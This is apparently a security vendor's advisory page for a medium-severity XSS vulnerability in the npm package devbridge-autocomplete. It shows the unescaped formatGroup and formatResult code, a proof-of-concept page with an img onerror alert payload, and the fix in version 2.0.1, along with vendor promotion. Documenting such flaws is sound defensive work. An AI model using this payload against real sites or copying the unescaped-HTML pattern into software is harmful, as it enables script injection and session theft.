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GHSA-hvqh-jw65-wcpq

MEDIUM

GHSA-hvqh-jw65-wcpq is a medium-severity (CVSS 5.4) vulnerability in devbridge-autocomplete. O3 Security confirms whether GHSA-hvqh-jw65-wcpq is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

devbridge-autocomplete has XSS in its default formatters: formatGroup and formatResult fail to escape HTML in untrusted inputs

Published
Jun 22, 2026
Updated
Jun 22, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

Blast Radius

1 pkg affected

Weekly download volume for affected packages — a proxy for how broadly this vulnerability is deployed.

devbridge-autocompletenpm
11Kdownloads / week

Description

Summary

The default formatGroup and formatResult functions in devbridge-autocomplete concatenate values into HTML without escaping, allowing XSS when an attacker controls (or can taint) the suggestion data source.

Details

1. formatGroupcategory is interpolated raw.

src/format.ts:

function formatGroup(suggestion, category) {
    return '<div class="autocomplete-group">' + category + '</div>';
}

If groupBy is used and the grouping field of any suggestion contains HTML, that HTML is executed.

2. formatResult — early-return branch returns suggestion.value raw.

src/format.ts:

function formatResult(suggestion, currentValue) {
    if (!currentValue) {
        return suggestion.value;   // un-escaped
    }
    /* ... non-empty path escapes correctly ... */
}

The early-return branch is reached when suggest() renders with an empty currentValue, which happens with minChars: 0 and a server that returns suggestions for an empty query. The returned string is concatenated into the container's innerHTML.

PoC (formatGroup)

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>PoC: formatGroup XSS in jQuery-Autocomplete v2.0.0</title>
</head>
<body>
    <input id="ac" type="text" placeholder="Type 'a' to trigger" autocomplete="off">

    <script src="https://code.jquery.com/jquery-3.7.1.min.js"></script>
    <script src="dist/jquery.autocomplete.js"></script>
    <script>
        var poisoned = [
            { value: 'Apple',   data: { category: "<img src=x onerror=\"alert('XSS via formatGroup')\">" } },
            { value: 'Avocado', data: { category: 'Safe Group' } }
        ];

        $('#ac').devbridgeAutocomplete({
            lookup: poisoned,
            groupBy: 'category',
            minChars: 1
        });
    </script>
</body>
</html>

Originally identified by an earlier human analysis; the PoC above was produced with the assistance of Claude Opus 4.7.

Impact

XSS in pages that render attacker-controllable suggestion data. The actual impact depends on what the embedding page has access to (cookies, session tokens, DOM), per standard reflected/stored XSS.

Patch

Both formatters now run their interpolated input through the browser's text-node escaping (createElement + textContent) before producing the HTML string. Fixed in version 2.0.1.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npmdevbridge-autocompleteall versions2.0.1

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for devbridge-autocomplete. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update devbridge-autocomplete to 2.0.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-hvqh-jw65-wcpq is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-hvqh-jw65-wcpq is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-hvqh-jw65-wcpq. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary The default `formatGroup` and `formatResult` functions in `devbridge-autocomplete` concatenate values into HTML without escaping, allowing XSS when an attacker controls (or can taint) the suggestion data source. ### Details **1. `formatGroup` — `category` is interpolated raw.** `src/format.ts`: ```ts function formatGroup(suggestion, category) { return '<div class="autocomplete-group">' + category + '</div>'; } ``` If `groupBy` is used and the grouping field of any suggestion contains HTML, that HTML is executed. **2. `formatResult` — early-return branch returns `suggesti
O3 Security · Impact-Aware SCA

Is GHSA-hvqh-jw65-wcpq in your dependencies?

O3 detects GHSA-hvqh-jw65-wcpq across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.